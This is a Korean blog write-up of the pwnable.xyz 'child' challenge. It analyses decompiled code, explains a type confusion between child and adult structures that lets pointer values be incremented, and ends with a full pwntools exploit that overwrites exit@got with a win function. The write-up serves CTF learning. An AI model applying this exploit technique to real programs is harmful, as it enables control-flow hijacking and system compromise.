tmxklab

[Pwnable.xyz] child 본문

War Game/Pwnable.xyz

[Pwnable.xyz] child

tmxk4221 2020. 9. 9. 22:33

1. 문제

nc svc.pwnable.xyz 30038

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  setup(argc, argv, envp);
  puts("Playing God today.");
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned int)read_int32() )
    {
      case 0u:
        return 0;
      case 1u:
        create_adult();
        break;
      case 2u:
        create_child();
        break;
      case 3u:
        age_up();
        break;
      case 4u:
        age_down();
        return result;
      case 5u:
        transform_person();
        break;
      case 6u:
        delete_person();
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
  • 메뉴 1과 메뉴 2는 adult청크와 child청크를 생성하여 town(전역변수)에 저장하는 것 같다. → 디버깅해서 청크 구조만 확인하겠음
  • 나머지 메뉴만 확인하겠음

 

3-2) age_up()

int age_up()
{
  unsigned int index; // eax
  _QWORD *person; // rax
  __int64 v2; // rdx

  __printf_chk(1LL, "Person: ");
  index = read_int32();
  if ( index > 0xA )
  {
    LODWORD(person) = puts("Outside of town.");
  }
  else
  {
    person = town[index];
    if ( person )
    {
      v2 = person[1];
      if ( v2 == 1 )
      {
        ++person[3];
      }
      else if ( v2 == 2 )
      {
        ++person[2];
      }
    }
    else
    {
      LODWORD(person) = puts("Does not exist. Probably abducted by aliens.");
    }
  }
  return person;
}
  • town에 청크가 존재하면 person[3]또는 person[2]를 1씩 증가한다.

 

3-3) transform_person()

int transform_person()
{
  unsigned int index; // eax
  __int64 person; // rbx
  __int64 v2; // rax

  __printf_chk(1LL, "Person: ");
  index = read_int32();
  if ( index > 0xA )
  {
    LODWORD(v2) = puts("Outside of town.");
  }
  else
  {
    person = town[index];
    if ( person )
    {
      v2 = *(person + 8);
      if ( v2 == 1 )
      {
        __printf_chk(1LL, "Name: ");
        read(0, *person, 0x10uLL);
        __printf_chk(1LL, "Job: ");
        read(0, *(person + 16), 0x20uLL);
        v2 = (*(person + 24) > 0x11uLL) + 1LL;
        *(person + 8) = v2;
      }
      else if ( v2 == 2 )
      {
        __printf_chk(1LL, "Name: ");
        read(0, *person, 0x10uLL);
        __printf_chk(1LL, "Job: ");
        read(0, *(person + 24), 0x20uLL);
        v2 = ((*(person + 16) - 19LL) <= 0x3D) + 1LL;
        *(person + 8) = v2;
      }
    }
    else
    {
      LODWORD(v2) = puts("Does not exist. Probably abducted by aliens.");
    }
  }
  return v2;
}
  • v2 == 1 :
    • name에 대한 입력 → read(0, *person, 0x10)
    • job에 대한 입력 → read(0, *(person+16), 0x20)
    • (person + 8) = ((person+24) > 0x11) + 1
  • v2 == 2:
    • name에 대한 입력 → read(0, *person, 0x10)
    • job에 대한 입력 → read(0, *(person+24), 0x20)
    • (person + 8) = (((person + 16) - 19LL) <= 0x3D) + 1

 

3-4) delete_person()

int delete_person()
{
  unsigned int index; // eax
  unsigned int v1; // ebx
  __int64 person; // rbp
  __int64 *v3; // rax

  __printf_chk(1LL, "Person: ");
  index = read_int32();
  if ( index > 0xA )
  {
    LODWORD(v3) = puts("Outside of town.");
  }
  else
  {
    v1 = index;
    person = town[index];
    if ( person )
    {
      v3 = *(person + 8);
      if ( v3 == 1 )
      {
        free(*person);
        free(*(person + 16));
        free(person);
        v3 = town;
        town[v1] = 0LL;
      }
      else if ( v3 == 2 )
      {
        free(*person);
        free(*(person + 24));
        free(person);
        v3 = town;
        town[v1] = 0LL;
      }
    }
    else
    {
      LODWORD(v3) = puts("Does not exist. Probably abducted by aliens.");
    }
  }
  return v3;
}
  • v3 == 1:
    • free(person),* free(*(person+16)), free(person), town[v1] = 0
  • v3 == 2:
    • free(person), free((person+24)), free(person), town[v1] = 0

 


2. 접근방법

 

먼저, adult와 child청크 구조를 확인해보자

  • adult[0] : name chunk addr      / child[0] : name chunk addr
  • adult[1] : 2                                        / chlid[1] : 1
  • adult[2] : age                                   / child[2] : jop chunk addr
  • adult[3] : jop chunk addr           / child[3] : age

 

adult와 child청크의 구조가 다른 것을 확인할 수 있다.

 

1) transform_person()

가장 주의 깊게 봐야할 부분이다.

  • v2 == 1(child인 경우) :
    • (person + 8) = ((person + 24) > 0x11) + 1
    • 설명 : age가 0x11(17)보다 크면은 child[1]에 2로 세팅, 즉 adult로 변경
  • v2 == 2(adult인 경우) :
    • (person + 8) = (((person + 16) - 19LL) <= 0x3D) + 1
    • 설명 : age가 0x50(80)보다 크면은 adult[1]에 1로 세팅, 즉 child로 변경

추가 설명)

(child[1] > 0x11)이나 (adult[1] -19 ≤ 0x3d)와 같은 조건문에서 참이면 1로 세팅하고 거짓이면 0으로 세팅한다. →

setbe, seta

 

결론적으로 age_up()를 통해 age값을 증가시킬 수 있고 특정 age값이 되면 child또는 adult로 양방향으로 바뀔 수 있다.

 

만약에 child청크에서 adult청크로 변경되고 age_up()을 하게 된다면 child청크의 구조는 그대로이므로 child[2]의 job chunk addr이 1씩 증가하게 될 것이다.

  • child에서 adult로 변경되어서 child[1]에 0x2로 세팅

  • 이후에 age_up()을 하게 된다면 0x2로 세팅된 것을 확인하고 child[2]에 존재하는 job chunk addr이 1씩 증가한 것을 확인할 수 있다.
  • 이 부분을 이용하여 job chunk addr의 값을 조절할 수 있고 원하는 위치에 값을 쓸 수 있다.

 

child와 adult한 개씩 생성하였을 때

  • child[2]에는 job chunk addr인 0x603060이 세팅되어 있다.
  • 만약에 위에서 했던 방법으로 저 값을 증가시켜 job chunk addr을 0x603090으로 변경시키면 adult chunk의 name chunk addr값 대신에 원하는 값을 쓸 수 있다.

이 점을 이용하여 GOT overwrite를 할 수 있다.

 

공격 프로세스)

  • child, adult한 개씩 생성
  • child청크를 adult로 변경
  • age_up()을 0x30번 수행 → 이 때, child청크는 adult[1]의 name chunk addr을 가리킴
  • 다시 child청크로 변경
  • child청크의 job(adult → name)을 exit@got값을 넣음
  • 기존에 생성한 adult청크에서 name값에 win함수를 넣음

 

 


3. 풀이

1) 문제점

adult로 변경된 child청크를 다시 child로 변경하기 위해서 transform_person()를 실행할 때 문제가 발생한다. job에 대한 입력 값을 쓸 때 child청크 구조를 그대로 가지고 있으므로 read함수의 인자에 age값이 들어가게 된다.

  • read함수의 파라미터에서 arg[1]에 child의 age인 0x12가 들어간다.

  • 입력에 "B"를 주었을 때 return값에 -1을 반환한다.

  • 이후에 다시 메인 함수로 돌아와서 read_int32()를 수행할 때 아까전에 입력한 "B"가 그대로 버퍼에 남아있어서 5와 합쳐져서 "B5"가 strtol()의 파라미터로 들어간다. strtol()을 수행하고 나면 널 값을 뱉는다.

  • read_int32()를 수행하고 나서 rax값이 0x0이므로 리턴된다.

 

해결 방법)

문제는 메뉴를 선택할 때 버퍼에 쌓인 문자와 합쳐져서 "B5"가 strtol()의 파라미터로 들어가고 널 값을 뱉어서 문제가 발생한 것이다. 따라서, 0만 아니면 되니깐 "?5"에서 ?가 1 ~ 12중에 아무거나 넣으면 된다.(아스키코드표 참고)

(여기서 사용된 strtol함수는 특정 문자열을 10진수로 변경하기 때문에 "B5"를 넣으면 실패하는 거임)

 

 

2) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30038)
#gdb.attach(p)

exit_got = e.got['exit']
win_addr = e.symbols['win']

def create(sel, age, name, job):
	p.sendlineafter("> ", str(sel))
	p.sendlineafter(": ", str(age))
	p.sendafter(": ", str(name))
	p.sendafter(": ", str(job))

def transform(idx, name, job):
	p.sendlineafter("> ", str(5))
	p.sendlineafter(": ", str(idx))
	p.sendafter(": ", str(name))
	p.sendafter(": ", str(job))

def ageup(idx):
	p.sendlineafter("> ", str(3))
	p.sendlineafter(": ", str(idx))


# 1. Create child, adult
create(2, 18, "A", "A")
create(1, 20, "B", "B")

# 2. change child -> adult
transform(0, "A", "A")

# 3. Increase child->job chunk addr 
for i in range(0x30):
	#log.info(i)
	ageup(0)

# 4. adult -> child
transform(0, "A", "10")

# 5. GOT overwrite
transform(0, "X",  p64(exit_got)) 
transform(1, p64(win_addr), "Y")
p.sendlineafter("> ", str(4))

p.interactive()

 

 

3) 실행결과

 


4. 몰랐던 개념

 

1) 어셈블리어 setbe, seta

 

[펌] 기초 어셈블리어

데이터 타입 :  타입  설 명  BYTE  8bit 부호 없는 정수  SBYTE  8bit 부호 있는 정수  WORD  16bit 부호 없는 정수  SWORD  16bit 부호 있는 정수  DWORD  33bit 부호 없는 정수  SDWORD  32bit..

jvinci.tistory.com

 

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note v3  (0) 2020.09.09
[Pwnable.xyz] door  (0) 2020.09.09
[Pwnable.xyz] car shop  (0) 2020.09.09
[Pwnable.xyz] words  (0) 2020.09.09
[Pwnable.xyz] notebook  (0) 2020.09.09
Comments